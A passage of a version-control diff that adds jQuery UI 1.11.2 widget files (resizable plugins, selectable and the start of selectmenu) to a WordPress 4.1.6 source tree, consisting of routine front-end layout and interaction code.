+			a = this.axis;
+
+		if (this._isNumber(data.height)) {
+			data.width = (data.height * this.aspectRatio);
+		} else if (this._isNumber(data.width)) {
+			data.height = (data.width / this.aspectRatio);
+		}
+
+		if (a === "sw") {
+			data.left = cpos.left + (csize.width - data.width);
+			data.top = null;
+		}
+		if (a === "nw") {
+			data.top = cpos.top + (csize.height - data.height);
+			data.left = cpos.left + (csize.width - data.width);
+		}
+
+		return data;
+	},
+
+	_respectSize: function( data ) {
+
+		var o = this._vBoundaries,
+			a = this.axis,
+			ismaxw = this._isNumber(data.width) && o.maxWidth && (o.maxWidth < data.width),
+			ismaxh = this._isNumber(data.height) && o.maxHeight && (o.maxHeight < data.height),
+			isminw = this._isNumber(data.width) && o.minWidth && (o.minWidth > data.width),
+			isminh = this._isNumber(data.height) && o.minHeight && (o.minHeight > data.height),
+			dw = this.originalPosition.left + this.originalSize.width,
+			dh = this.position.top + this.size.height,
+			cw = /sw|nw|w/.test(a), ch = /nw|ne|n/.test(a);
+		if (isminw) {
+			data.width = o.minWidth;
+		}
+		if (isminh) {
+			data.height = o.minHeight;
+		}
+		if (ismaxw) {
+			data.width = o.maxWidth;
+		}
+		if (ismaxh) {
+			data.height = o.maxHeight;
+		}
+
+		if (isminw && cw) {
+			data.left = dw - o.minWidth;
+		}
+		if (ismaxw && cw) {
+			data.left = dw - o.maxWidth;
+		}
+		if (isminh && ch) {
+			data.top = dh - o.minHeight;
+		}
+		if (ismaxh && ch) {
+			data.top = dh - o.maxHeight;
+		}
+
+		// Fixing jump error on top/left - bug #2330
+		if (!data.width && !data.height && !data.left && data.top) {
+			data.top = null;
+		} else if (!data.width && !data.height && !data.top && data.left) {
+			data.left = null;
+		}
+
+		return data;
+	},
+
+	_getPaddingPlusBorderDimensions: function( element ) {
+		var i = 0,
+			widths = [],
+			borders = [
+				element.css( "borderTopWidth" ),
+				element.css( "borderRightWidth" ),
+				element.css( "borderBottomWidth" ),
+				element.css( "borderLeftWidth" )
+			],
+			paddings = [
+				element.css( "paddingTop" ),
+				element.css( "paddingRight" ),
+				element.css( "paddingBottom" ),
+				element.css( "paddingLeft" )
+			];
+
+		for ( ; i < 4; i++ ) {
+			widths[ i ] = ( parseInt( borders[ i ], 10 ) || 0 );
+			widths[ i ] += ( parseInt( paddings[ i ], 10 ) || 0 );
+		}
+
+		return {
+			height: widths[ 0 ] + widths[ 2 ],
+			width: widths[ 1 ] + widths[ 3 ]
+		};
+	},
+
+	_proportionallyResize: function() {
+
+		if (!this._proportionallyResizeElements.length) {
+			return;
+		}
+
+		var prel,
+			i = 0,
+			element = this.helper || this.element;
+
+		for ( ; i < this._proportionallyResizeElements.length; i++) {
+
+			prel = this._proportionallyResizeElements[i];
+
+			// TODO: Seems like a bug to cache this.outerDimensions
+			// considering that we are in a loop.
+			if (!this.outerDimensions) {
+				this.outerDimensions = this._getPaddingPlusBorderDimensions( prel );
+			}
+
+			prel.css({
+				height: (element.height() - this.outerDimensions.height) || 0,
+				width: (element.width() - this.outerDimensions.width) || 0
+			});
+
+		}
+
+	},
+
+	_renderProxy: function() {
+
+		var el = this.element, o = this.options;
+		this.elementOffset = el.offset();
+
+		if (this._helper) {
+
+			this.helper = this.helper || $("<div style='overflow:hidden;'></div>");
+
+			this.helper.addClass(this._helper).css({
+				width: this.element.outerWidth() - 1,
+				height: this.element.outerHeight() - 1,
+				position: "absolute",
+				left: this.elementOffset.left + "px",
+				top: this.elementOffset.top + "px",
+				zIndex: ++o.zIndex //TODO: Don't modify option
+			});
+
+			this.helper
+				.appendTo("body")
+				.disableSelection();
+
+		} else {
+			this.helper = this.element;
+		}
+
+	},
+
+	_change: {
+		e: function(event, dx) {
+			return { width: this.originalSize.width + dx };
+		},
+		w: function(event, dx) {
+			var cs = this.originalSize, sp = this.originalPosition;
+			return { left: sp.left + dx, width: cs.width - dx };
+		},
+		n: function(event, dx, dy) {
+			var cs = this.originalSize, sp = this.originalPosition;
+			return { top: sp.top + dy, height: cs.height - dy };
+		},
+		s: function(event, dx, dy) {
+			return { height: this.originalSize.height + dy };
+		},
+		se: function(event, dx, dy) {
+			return $.extend(this._change.s.apply(this, arguments),
+				this._change.e.apply(this, [ event, dx, dy ]));
+		},
+		sw: function(event, dx, dy) {
+			return $.extend(this._change.s.apply(this, arguments),
+				this._change.w.apply(this, [ event, dx, dy ]));
+		},
+		ne: function(event, dx, dy) {
+			return $.extend(this._change.n.apply(this, arguments),
+				this._change.e.apply(this, [ event, dx, dy ]));
+		},
+		nw: function(event, dx, dy) {
+			return $.extend(this._change.n.apply(this, arguments),
+				this._change.w.apply(this, [ event, dx, dy ]));
+		}
+	},
+
+	_propagate: function(n, event) {
+		$.ui.plugin.call(this, n, [ event, this.ui() ]);
+		(n !== "resize" && this._trigger(n, event, this.ui()));
+	},
+
+	plugins: {},
+
+	ui: function() {
+		return {
+			originalElement: this.originalElement,
+			element: this.element,
+			helper: this.helper,
+			position: this.position,
+			size: this.size,
+			originalSize: this.originalSize,
+			originalPosition: this.originalPosition
+		};
+	}
+
+});
+
+/*
+ * Resizable Extensions
+ */
+
+$.ui.plugin.add("resizable", "animate", {
+
+	stop: function( event ) {
+		var that = $(this).resizable( "instance" ),
+			o = that.options,
+			pr = that._proportionallyResizeElements,
+			ista = pr.length && (/textarea/i).test(pr[0].nodeName),
+			soffseth = ista && that._hasScroll(pr[0], "left") ? 0 : that.sizeDiff.height,
+			soffsetw = ista ? 0 : that.sizeDiff.width,
+			style = { width: (that.size.width - soffsetw), height: (that.size.height - soffseth) },
+			left = (parseInt(that.element.css("left"), 10) +
+				(that.position.left - that.originalPosition.left)) || null,
+			top = (parseInt(that.element.css("top"), 10) +
+				(that.position.top - that.originalPosition.top)) || null;
+
+		that.element.animate(
+			$.extend(style, top && left ? { top: top, left: left } : {}), {
+				duration: o.animateDuration,
+				easing: o.animateEasing,
+				step: function() {
+
+					var data = {
+						width: parseInt(that.element.css("width"), 10),
+						height: parseInt(that.element.css("height"), 10),
+						top: parseInt(that.element.css("top"), 10),
+						left: parseInt(that.element.css("left"), 10)
+					};
+
+					if (pr && pr.length) {
+						$(pr[0]).css({ width: data.width, height: data.height });
+					}
+
+					// propagating resize, and updating values for each animation step
+					that._updateCache(data);
+					that._propagate("resize", event);
+
+				}
+			}
+		);
+	}
+
+});
+
+$.ui.plugin.add( "resizable", "containment", {
+
+	start: function() {
+		var element, p, co, ch, cw, width, height,
+			that = $( this ).resizable( "instance" ),
+			o = that.options,
+			el = that.element,
+			oc = o.containment,
+			ce = ( oc instanceof $ ) ? oc.get( 0 ) : ( /parent/.test( oc ) ) ? el.parent().get( 0 ) : oc;
+
+		if ( !ce ) {
+			return;
+		}
+
+		that.containerElement = $( ce );
+
+		if ( /document/.test( oc ) || oc === document ) {
+			that.containerOffset = {
+				left: 0,
+				top: 0
+			};
+			that.containerPosition = {
+				left: 0,
+				top: 0
+			};
+
+			that.parentData = {
+				element: $( document ),
+				left: 0,
+				top: 0,
+				width: $( document ).width(),
+				height: $( document ).height() || document.body.parentNode.scrollHeight
+			};
+		} else {
+			element = $( ce );
+			p = [];
+			$([ "Top", "Right", "Left", "Bottom" ]).each(function( i, name ) {
+				p[ i ] = that._num( element.css( "padding" + name ) );
+			});
+
+			that.containerOffset = element.offset();
+			that.containerPosition = element.position();
+			that.containerSize = {
+				height: ( element.innerHeight() - p[ 3 ] ),
+				width: ( element.innerWidth() - p[ 1 ] )
+			};
+
+			co = that.containerOffset;
+			ch = that.containerSize.height;
+			cw = that.containerSize.width;
+			width = ( that._hasScroll ( ce, "left" ) ? ce.scrollWidth : cw );
+			height = ( that._hasScroll ( ce ) ? ce.scrollHeight : ch ) ;
+
+			that.parentData = {
+				element: ce,
+				left: co.left,
+				top: co.top,
+				width: width,
+				height: height
+			};
+		}
+	},
+
+	resize: function( event ) {
+		var woset, hoset, isParent, isOffsetRelative,
+			that = $( this ).resizable( "instance" ),
+			o = that.options,
+			co = that.containerOffset,
+			cp = that.position,
+			pRatio = that._aspectRatio || event.shiftKey,
+			cop = {
+				top: 0,
+				left: 0
+			},
+			ce = that.containerElement,
+			continueResize = true;
+
+		if ( ce[ 0 ] !== document && ( /static/ ).test( ce.css( "position" ) ) ) {
+			cop = co;
+		}
+
+		if ( cp.left < ( that._helper ? co.left : 0 ) ) {
+			that.size.width = that.size.width +
+				( that._helper ?
+					( that.position.left - co.left ) :
+					( that.position.left - cop.left ) );
+
+			if ( pRatio ) {
+				that.size.height = that.size.width / that.aspectRatio;
+				continueResize = false;
+			}
+			that.position.left = o.helper ? co.left : 0;
+		}
+
+		if ( cp.top < ( that._helper ? co.top : 0 ) ) {
+			that.size.height = that.size.height +
+				( that._helper ?
+					( that.position.top - co.top ) :
+					that.position.top );
+
+			if ( pRatio ) {
+				that.size.width = that.size.height * that.aspectRatio;
+				continueResize = false;
+			}
+			that.position.top = that._helper ? co.top : 0;
+		}
+
+		isParent = that.containerElement.get( 0 ) === that.element.parent().get( 0 );
+		isOffsetRelative = /relative|absolute/.test( that.containerElement.css( "position" ) );
+
+		if ( isParent && isOffsetRelative ) {
+			that.offset.left = that.parentData.left + that.position.left;
+			that.offset.top = that.parentData.top + that.position.top;
+		} else {
+			that.offset.left = that.element.offset().left;
+			that.offset.top = that.element.offset().top;
+		}
+
+		woset = Math.abs( that.sizeDiff.width +
+			(that._helper ?
+				that.offset.left - cop.left :
+				(that.offset.left - co.left)) );
+
+		hoset = Math.abs( that.sizeDiff.height +
+			(that._helper ?
+				that.offset.top - cop.top :
+				(that.offset.top - co.top)) );
+
+		if ( woset + that.size.width >= that.parentData.width ) {
+			that.size.width = that.parentData.width - woset;
+			if ( pRatio ) {
+				that.size.height = that.size.width / that.aspectRatio;
+				continueResize = false;
+			}
+		}
+
+		if ( hoset + that.size.height >= that.parentData.height ) {
+			that.size.height = that.parentData.height - hoset;
+			if ( pRatio ) {
+				that.size.width = that.size.height * that.aspectRatio;
+				continueResize = false;
+			}
+		}
+
+		if ( !continueResize ){
+			that.position.left = that.prevPosition.left;
+			that.position.top = that.prevPosition.top;
+			that.size.width = that.prevSize.width;
+			that.size.height = that.prevSize.height;
+		}
+	},
+
+	stop: function() {
+		var that = $( this ).resizable( "instance" ),
+			o = that.options,
+			co = that.containerOffset,
+			cop = that.containerPosition,
+			ce = that.containerElement,
+			helper = $( that.helper ),
+			ho = helper.offset(),
+			w = helper.outerWidth() - that.sizeDiff.width,
+			h = helper.outerHeight() - that.sizeDiff.height;
+
+		if ( that._helper && !o.animate && ( /relative/ ).test( ce.css( "position" ) ) ) {
+			$( this ).css({
+				left: ho.left - cop.left - co.left,
+				width: w,
+				height: h
+			});
+		}
+
+		if ( that._helper && !o.animate && ( /static/ ).test( ce.css( "position" ) ) ) {
+			$( this ).css({
+				left: ho.left - cop.left - co.left,
+				width: w,
+				height: h
+			});
+		}
+	}
+});
+
+$.ui.plugin.add("resizable", "alsoResize", {
+
+	start: function() {
+		var that = $(this).resizable( "instance" ),
+			o = that.options,
+			_store = function(exp) {
+				$(exp).each(function() {
+					var el = $(this);
+					el.data("ui-resizable-alsoresize", {
+						width: parseInt(el.width(), 10), height: parseInt(el.height(), 10),
+						left: parseInt(el.css("left"), 10), top: parseInt(el.css("top"), 10)
+					});
+				});
+			};
+
+		if (typeof(o.alsoResize) === "object" && !o.alsoResize.parentNode) {
+			if (o.alsoResize.length) {
+				o.alsoResize = o.alsoResize[0];
+				_store(o.alsoResize);
+			} else {
+				$.each(o.alsoResize, function(exp) {
+					_store(exp);
+				});
+			}
+		} else {
+			_store(o.alsoResize);
+		}
+	},
+
+	resize: function(event, ui) {
+		var that = $(this).resizable( "instance" ),
+			o = that.options,
+			os = that.originalSize,
+			op = that.originalPosition,
+			delta = {
+				height: (that.size.height - os.height) || 0,
+				width: (that.size.width - os.width) || 0,
+				top: (that.position.top - op.top) || 0,
+				left: (that.position.left - op.left) || 0
+			},
+
+			_alsoResize = function(exp, c) {
+				$(exp).each(function() {
+					var el = $(this), start = $(this).data("ui-resizable-alsoresize"), style = {},
+						css = c && c.length ?
+							c :
+							el.parents(ui.originalElement[0]).length ?
+								[ "width", "height" ] :
+								[ "width", "height", "top", "left" ];
+
+					$.each(css, function(i, prop) {
+						var sum = (start[prop] || 0) + (delta[prop] || 0);
+						if (sum && sum >= 0) {
+							style[prop] = sum || null;
+						}
+					});
+
+					el.css(style);
+				});
+			};
+
+		if (typeof(o.alsoResize) === "object" && !o.alsoResize.nodeType) {
+			$.each(o.alsoResize, function(exp, c) {
+				_alsoResize(exp, c);
+			});
+		} else {
+			_alsoResize(o.alsoResize);
+		}
+	},
+
+	stop: function() {
+		$(this).removeData("resizable-alsoresize");
+	}
+});
+
+$.ui.plugin.add("resizable", "ghost", {
+
+	start: function() {
+
+		var that = $(this).resizable( "instance" ), o = that.options, cs = that.size;
+
+		that.ghost = that.originalElement.clone();
+		that.ghost
+			.css({
+				opacity: 0.25,
+				display: "block",
+				position: "relative",
+				height: cs.height,
+				width: cs.width,
+				margin: 0,
+				left: 0,
+				top: 0
+			})
+			.addClass("ui-resizable-ghost")
+			.addClass(typeof o.ghost === "string" ? o.ghost : "");
+
+		that.ghost.appendTo(that.helper);
+
+	},
+
+	resize: function() {
+		var that = $(this).resizable( "instance" );
+		if (that.ghost) {
+			that.ghost.css({
+				position: "relative",
+				height: that.size.height,
+				width: that.size.width
+			});
+		}
+	},
+
+	stop: function() {
+		var that = $(this).resizable( "instance" );
+		if (that.ghost && that.helper) {
+			that.helper.get(0).removeChild(that.ghost.get(0));
+		}
+	}
+
+});
+
+$.ui.plugin.add("resizable", "grid", {
+
+	resize: function() {
+		var outerDimensions,
+			that = $(this).resizable( "instance" ),
+			o = that.options,
+			cs = that.size,
+			os = that.originalSize,
+			op = that.originalPosition,
+			a = that.axis,
+			grid = typeof o.grid === "number" ? [ o.grid, o.grid ] : o.grid,
+			gridX = (grid[0] || 1),
+			gridY = (grid[1] || 1),
+			ox = Math.round((cs.width - os.width) / gridX) * gridX,
+			oy = Math.round((cs.height - os.height) / gridY) * gridY,
+			newWidth = os.width + ox,
+			newHeight = os.height + oy,
+			isMaxWidth = o.maxWidth && (o.maxWidth < newWidth),
+			isMaxHeight = o.maxHeight && (o.maxHeight < newHeight),
+			isMinWidth = o.minWidth && (o.minWidth > newWidth),
+			isMinHeight = o.minHeight && (o.minHeight > newHeight);
+
+		o.grid = grid;
+
+		if (isMinWidth) {
+			newWidth += gridX;
+		}
+		if (isMinHeight) {
+			newHeight += gridY;
+		}
+		if (isMaxWidth) {
+			newWidth -= gridX;
+		}
+		if (isMaxHeight) {
+			newHeight -= gridY;
+		}
+
+		if (/^(se|s|e)$/.test(a)) {
+			that.size.width = newWidth;
+			that.size.height = newHeight;
+		} else if (/^(ne)$/.test(a)) {
+			that.size.width = newWidth;
+			that.size.height = newHeight;
+			that.position.top = op.top - oy;
+		} else if (/^(sw)$/.test(a)) {
+			that.size.width = newWidth;
+			that.size.height = newHeight;
+			that.position.left = op.left - ox;
+		} else {
+			if ( newHeight - gridY <= 0 || newWidth - gridX <= 0) {
+				outerDimensions = that._getPaddingPlusBorderDimensions( this );
+			}
+
+			if ( newHeight - gridY > 0 ) {
+				that.size.height = newHeight;
+				that.position.top = op.top - oy;
+			} else {
+				newHeight = gridY - outerDimensions.height;
+				that.size.height = newHeight;
+				that.position.top = op.top + os.height - newHeight;
+			}
+			if ( newWidth - gridX > 0 ) {
+				that.size.width = newWidth;
+				that.position.left = op.left - ox;
+			} else {
+				newWidth = gridY - outerDimensions.height;
+				that.size.width = newWidth;
+				that.position.left = op.left + os.width - newWidth;
+			}
+		}
+	}
+
+});
+
+return $.ui.resizable;
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/selectable.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/selectable.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/selectable.js	(revision 33402)
@@ -0,0 +1,287 @@
+/*!
+ * jQuery UI Selectable 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/selectable/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./mouse",
+			"./widget"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.widget("ui.selectable", $.ui.mouse, {
+	version: "1.11.2",
+	options: {
+		appendTo: "body",
+		autoRefresh: true,
+		distance: 0,
+		filter: "*",
+		tolerance: "touch",
+
+		// callbacks
+		selected: null,
+		selecting: null,
+		start: null,
+		stop: null,
+		unselected: null,
+		unselecting: null
+	},
+	_create: function() {
+		var selectees,
+			that = this;
+
+		this.element.addClass("ui-selectable");
+
+		this.dragged = false;
+
+		// cache selectee children based on filter
+		this.refresh = function() {
+			selectees = $(that.options.filter, that.element[0]);
+			selectees.addClass("ui-selectee");
+			selectees.each(function() {
+				var $this = $(this),
+					pos = $this.offset();
+				$.data(this, "selectable-item", {
+					element: this,
+					$element: $this,
+					left: pos.left,
+					top: pos.top,
+					right: pos.left + $this.outerWidth(),
+					bottom: pos.top + $this.outerHeight(),
+					startselected: false,
+					selected: $this.hasClass("ui-selected"),
+					selecting: $this.hasClass("ui-selecting"),
+					unselecting: $this.hasClass("ui-unselecting")
+				});
+			});
+		};
+		this.refresh();
+
+		this.selectees = selectees.addClass("ui-selectee");
+
+		this._mouseInit();
+
+		this.helper = $("<div class='ui-selectable-helper'></div>");
+	},
+
+	_destroy: function() {
+		this.selectees
+			.removeClass("ui-selectee")
+			.removeData("selectable-item");
+		this.element
+			.removeClass("ui-selectable ui-selectable-disabled");
+		this._mouseDestroy();
+	},
+
+	_mouseStart: function(event) {
+		var that = this,
+			options = this.options;
+
+		this.opos = [ event.pageX, event.pageY ];
+
+		if (this.options.disabled) {
+			return;
+		}
+
+		this.selectees = $(options.filter, this.element[0]);
+
+		this._trigger("start", event);
+
+		$(options.appendTo).append(this.helper);
+		// position helper (lasso)
+		this.helper.css({
+			"left": event.pageX,
+			"top": event.pageY,
+			"width": 0,
+			"height": 0
+		});
+
+		if (options.autoRefresh) {
+			this.refresh();
+		}
+
+		this.selectees.filter(".ui-selected").each(function() {
+			var selectee = $.data(this, "selectable-item");
+			selectee.startselected = true;
+			if (!event.metaKey && !event.ctrlKey) {
+				selectee.$element.removeClass("ui-selected");
+				selectee.selected = false;
+				selectee.$element.addClass("ui-unselecting");
+				selectee.unselecting = true;
+				// selectable UNSELECTING callback
+				that._trigger("unselecting", event, {
+					unselecting: selectee.element
+				});
+			}
+		});
+
+		$(event.target).parents().addBack().each(function() {
+			var doSelect,
+				selectee = $.data(this, "selectable-item");
+			if (selectee) {
+				doSelect = (!event.metaKey && !event.ctrlKey) || !selectee.$element.hasClass("ui-selected");
+				selectee.$element
+					.removeClass(doSelect ? "ui-unselecting" : "ui-selected")
+					.addClass(doSelect ? "ui-selecting" : "ui-unselecting");
+				selectee.unselecting = !doSelect;
+				selectee.selecting = doSelect;
+				selectee.selected = doSelect;
+				// selectable (UN)SELECTING callback
+				if (doSelect) {
+					that._trigger("selecting", event, {
+						selecting: selectee.element
+					});
+				} else {
+					that._trigger("unselecting", event, {
+						unselecting: selectee.element
+					});
+				}
+				return false;
+			}
+		});
+
+	},
+
+	_mouseDrag: function(event) {
+
+		this.dragged = true;
+
+		if (this.options.disabled) {
+			return;
+		}
+
+		var tmp,
+			that = this,
+			options = this.options,
+			x1 = this.opos[0],
+			y1 = this.opos[1],
+			x2 = event.pageX,
+			y2 = event.pageY;
+
+		if (x1 > x2) { tmp = x2; x2 = x1; x1 = tmp; }
+		if (y1 > y2) { tmp = y2; y2 = y1; y1 = tmp; }
+		this.helper.css({ left: x1, top: y1, width: x2 - x1, height: y2 - y1 });
+
+		this.selectees.each(function() {
+			var selectee = $.data(this, "selectable-item"),
+				hit = false;
+
+			//prevent helper from being selected if appendTo: selectable
+			if (!selectee || selectee.element === that.element[0]) {
+				return;
+			}
+
+			if (options.tolerance === "touch") {
+				hit = ( !(selectee.left > x2 || selectee.right < x1 || selectee.top > y2 || selectee.bottom < y1) );
+			} else if (options.tolerance === "fit") {
+				hit = (selectee.left > x1 && selectee.right < x2 && selectee.top > y1 && selectee.bottom < y2);
+			}
+
+			if (hit) {
+				// SELECT
+				if (selectee.selected) {
+					selectee.$element.removeClass("ui-selected");
+					selectee.selected = false;
+				}
+				if (selectee.unselecting) {
+					selectee.$element.removeClass("ui-unselecting");
+					selectee.unselecting = false;
+				}
+				if (!selectee.selecting) {
+					selectee.$element.addClass("ui-selecting");
+					selectee.selecting = true;
+					// selectable SELECTING callback
+					that._trigger("selecting", event, {
+						selecting: selectee.element
+					});
+				}
+			} else {
+				// UNSELECT
+				if (selectee.selecting) {
+					if ((event.metaKey || event.ctrlKey) && selectee.startselected) {
+						selectee.$element.removeClass("ui-selecting");
+						selectee.selecting = false;
+						selectee.$element.addClass("ui-selected");
+						selectee.selected = true;
+					} else {
+						selectee.$element.removeClass("ui-selecting");
+						selectee.selecting = false;
+						if (selectee.startselected) {
+							selectee.$element.addClass("ui-unselecting");
+							selectee.unselecting = true;
+						}
+						// selectable UNSELECTING callback
+						that._trigger("unselecting", event, {
+							unselecting: selectee.element
+						});
+					}
+				}
+				if (selectee.selected) {
+					if (!event.metaKey && !event.ctrlKey && !selectee.startselected) {
+						selectee.$element.removeClass("ui-selected");
+						selectee.selected = false;
+
+						selectee.$element.addClass("ui-unselecting");
+						selectee.unselecting = true;
+						// selectable UNSELECTING callback
+						that._trigger("unselecting", event, {
+							unselecting: selectee.element
+						});
+					}
+				}
+			}
+		});
+
+		return false;
+	},
+
+	_mouseStop: function(event) {
+		var that = this;
+
+		this.dragged = false;
+
+		$(".ui-unselecting", this.element[0]).each(function() {
+			var selectee = $.data(this, "selectable-item");
+			selectee.$element.removeClass("ui-unselecting");
+			selectee.unselecting = false;
+			selectee.startselected = false;
+			that._trigger("unselected", event, {
+				unselected: selectee.element
+			});
+		});
+		$(".ui-selecting", this.element[0]).each(function() {
+			var selectee = $.data(this, "selectable-item");
+			selectee.$element.removeClass("ui-selecting").addClass("ui-selected");
+			selectee.selecting = false;
+			selectee.selected = true;
+			selectee.startselected = true;
+			that._trigger("selected", event, {
+				selected: selectee.element
+			});
+		});
+		this._trigger("stop", event);
+
+		this.helper.remove();
+
+		return false;
+	}
+
+});
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/selectmenu.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/selectmenu.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/selectmenu.js	(revision 33402)
@@ -0,0 +1,616 @@
+/*!
+ * jQuery UI Selectmenu 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/selectmenu
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget",
+			"./position",
+			"./menu"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.widget( "ui.selectmenu", {
+	version: "1.11.2",
+	defaultElement: "<select>",
+	options: {
+		appendTo: null,
+		disabled: null,
+		icons: {
+			button: "ui-icon-triangle-1-s"
+		},
+		position: {
+			my: "left top",
+			at: "left bottom",
+			collision: "none"
+		},
+		width: null,
+
+		// callbacks
+		change: null,
+		close: null,
+		focus: null,
+		open: null,
+		select: null
+	},
+
+	_create: function() {
+		var selectmenuId = this.element.uniqueId().attr( "id" );
+		this.ids = {
+			element: selectmenuId,
+			button: selectmenuId + "-button",
+			menu: selectmenuId + "-menu"
+		};
+
+		this._drawButton();
+		this._drawMenu();
+
+		if ( this.options.disabled ) {
+			this.disable();
+		}
+	},
+
+	_drawButton: function() {
+		var that = this,
+			tabindex = this.element.attr( "tabindex" );
+
+		// Associate existing label with the new button
+		this.label = $( "label[for='" + this.ids.element + "']" ).attr( "for", this.ids.button );
+		this._on( this.label, {
+			click: function( event ) {
+				this.button.focus();
+				event.preventDefault();
+			}
+		});
+
+		// Hide original select element
+		this.element.hide();
+
+		// Create button
+		this.button = $( "<span>", {
+			"class": "ui-selectmenu-button ui-widget ui-state-default ui-corner-all",
+			tabindex: tabindex || this.options.disabled ? -1 : 0,
+			id: this.ids.button,
+			role: "combobox",
+			"aria-expanded": "false",
+			"aria-autocomplete": "list",
+			"aria-owns": this.ids.menu,
+			"aria-haspopup": "true"
+		})
+			.insertAfter( this.element );
+
+		$( "<span>", {
+			"class": "ui-icon " + this.options.icons.button
+		})
+			.prependTo( this.button );
+
+		this.buttonText = $( "<span>", {
+			"class": "ui-selectmenu-text"
+		})
+			.appendTo( this.button );
+
+		this._setText( this.buttonText, this.element.find( "option:selected" ).text() );
+		this._resizeButton();
+
+		this._on( this.button, this._buttonEvents );
+		this.button.one( "focusin", function() {
+
+			// Delay rendering the menu items until the button receives focus.
+			// The menu may have already been rendered via a programmatic open.
+			if ( !that.menuItems ) {
+				that._refreshMenu();
+			}
+		});
+		this._hoverable( this.button );
+		this._focusable( this.button );
+	},
+
+	_drawMenu: function() {
+		var that = this;
+
+		// Create menu
+		this.menu = $( "<ul>", {
+			"aria-hidden": "true",
+			"aria-labelledby": this.ids.button,
+			id: this.ids.menu
+		});
+
+		// Wrap menu
+		this.menuWrap = $( "<div>", {
+			"class": "ui-selectmenu-menu ui-front"
+		})
+			.append( this.menu )
+			.appendTo( this._appendTo() );
+
+		// Initialize menu widget
+		this.menuInstance = this.menu
+			.menu({
+				role: "listbox",
+				select: function( event, ui ) {
+					event.preventDefault();
+
+					// support: IE8
+					// If the item was selected via a click, the text selection
+					// will be destroyed in IE
+					that._setSelection();
+
+					that._select( ui.item.data( "ui-selectmenu-item" ), event );
+				},
+				focus: function( event, ui ) {
+					var item = ui.item.data( "ui-selectmenu-item" );
+
+					// Prevent inital focus from firing and check if its a newly focused item
+					if ( that.focusIndex != null && item.index !== that.focusIndex ) {
+						that._trigger( "focus", event, { item: item } );
+						if ( !that.isOpen ) {
+							that._select( item, event );
+						}
+					}
+					that.focusIndex = item.index;
+
+					that.button.attr( "aria-activedescendant",
+						that.menuItems.eq( item.index ).attr( "id" ) );
+				}
+			})
+			.menu( "instance" );
+
+		// Adjust menu styles to dropdown
+		this.menu
+			.addClass( "ui-corner-bottom" )
+			.removeClass( "ui-corner-all" );
+
+		// Don't close the menu on mouseleave
+		this.menuInstance._off( this.menu, "mouseleave" );
+
+		// Cancel the menu's collapseAll on document click
+		this.menuInstance._closeOnDocumentClick = function() {
+			return false;
+		};
+
+		// Selects often contain empty items, but never contain dividers
+		this.menuInstance._isDivider = function() {
+			return false;
+		};
+	},
+
+	refresh: function() {
+		this._refreshMenu();
+		this._setText( this.buttonText, this._getSelectedItem().text() );
+		if ( !this.options.width ) {
+			this._resizeButton();
+		}
+	},
+
+	_refreshMenu: function() {
+		this.menu.empty();
+
+		var item,
+			options = this.element.find( "option" );
+
+		if ( !options.length ) {
+			return;
+		}
+
+		this._parseOptions( options );
+		this._renderMenu( this.menu, this.items );
+
+		this.menuInstance.refresh();
+		this.menuItems = this.menu.find( "li" ).not( ".ui-selectmenu-optgroup" );
+
+		item = this._getSelectedItem();
+
+		// Update the menu to have the correct item focused
+		this.menuInstance.focus( null, item );
+		this._setAria( item.data( "ui-selectmenu-item" ) );
+
+		// Set disabled state
+		this._setOption( "disabled", this.element.prop( "disabled" ) );
+	},
+
+	open: function( event ) {
+		if ( this.options.disabled ) {
+			return;
+		}
+
+		// If this is the first time the menu is being opened, render the items
+		if ( !this.menuItems ) {
+			this._refreshMenu();
+		} else {
+
+			// Menu clears focus on close, reset focus to selected item
+			this.menu.find( ".ui-state-focus" ).removeClass( "ui-state-focus" );
+			this.menuInstance.focus( null, this._getSelectedItem() );
+		}
+
+		this.isOpen = true;
+		this._toggleAttr();
+		this._resizeMenu();
+		this._position();
+
+		this._on( this.document, this._documentClick );
+
+		this._trigger( "open", event );
+	},
+
+	_position: function() {
+		this.menuWrap.position( $.extend( { of: this.button }, this.options.position ) );
+	},
+
+	close: function( event ) {
+		if ( !this.isOpen ) {
+			return;
+		}
+
+		this.isOpen = false;
+		this._toggleAttr();
+
+		this.range = null;
+		this._off( this.document );
+
+		this._trigger( "close", event );
+	},
+
+	widget: function() {
+		return this.button;
+	},
+
+	menuWidget: function() {
+		return this.menu;
+	},
+
+	_renderMenu: function( ul, items ) {
+		var that = this,
+			currentOptgroup = "";
+
+		$.each( items, function( index, item ) {
+			if ( item.optgroup !== currentOptgroup ) {
+				$( "<li>", {
+					"class": "ui-selectmenu-optgroup ui-menu-divider" +
+						( item.element.parent( "optgroup" ).prop( "disabled" ) ?
+							" ui-state-disabled" :
+							"" ),
+					text: item.optgroup
+				})
+					.appendTo( ul );
+
+				currentOptgroup = item.optgroup;
+			}
+
+			that._renderItemData( ul, item );
+		});
+	},
+
+	_renderItemData: function( ul, item ) {
+		return this._renderItem( ul, item ).data( "ui-selectmenu-item", item );
+	},
+
+	_renderItem: function( ul, item ) {
+		var li = $( "<li>" );
+
+		if ( item.disabled ) {
+			li.addClass( "ui-state-disabled" );
+		}
+		this._setText( li, item.label );
+
+		return li.appendTo( ul );
+	},
+
+	_setText: function( element, value ) {
+		if ( value ) {
+			element.text( value );
+		} else {
+			element.html( "&#160;" );
+		}
+	},
+
